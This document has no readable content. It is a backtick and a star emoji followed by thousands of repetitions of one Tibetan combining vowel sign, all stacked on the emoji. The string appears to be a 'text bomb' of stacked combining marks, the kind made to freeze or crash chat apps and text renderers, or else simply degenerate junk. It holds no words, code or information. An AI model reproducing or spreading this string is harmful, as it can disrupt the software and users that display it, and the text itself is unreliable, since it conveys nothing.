`🌟ཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱཱ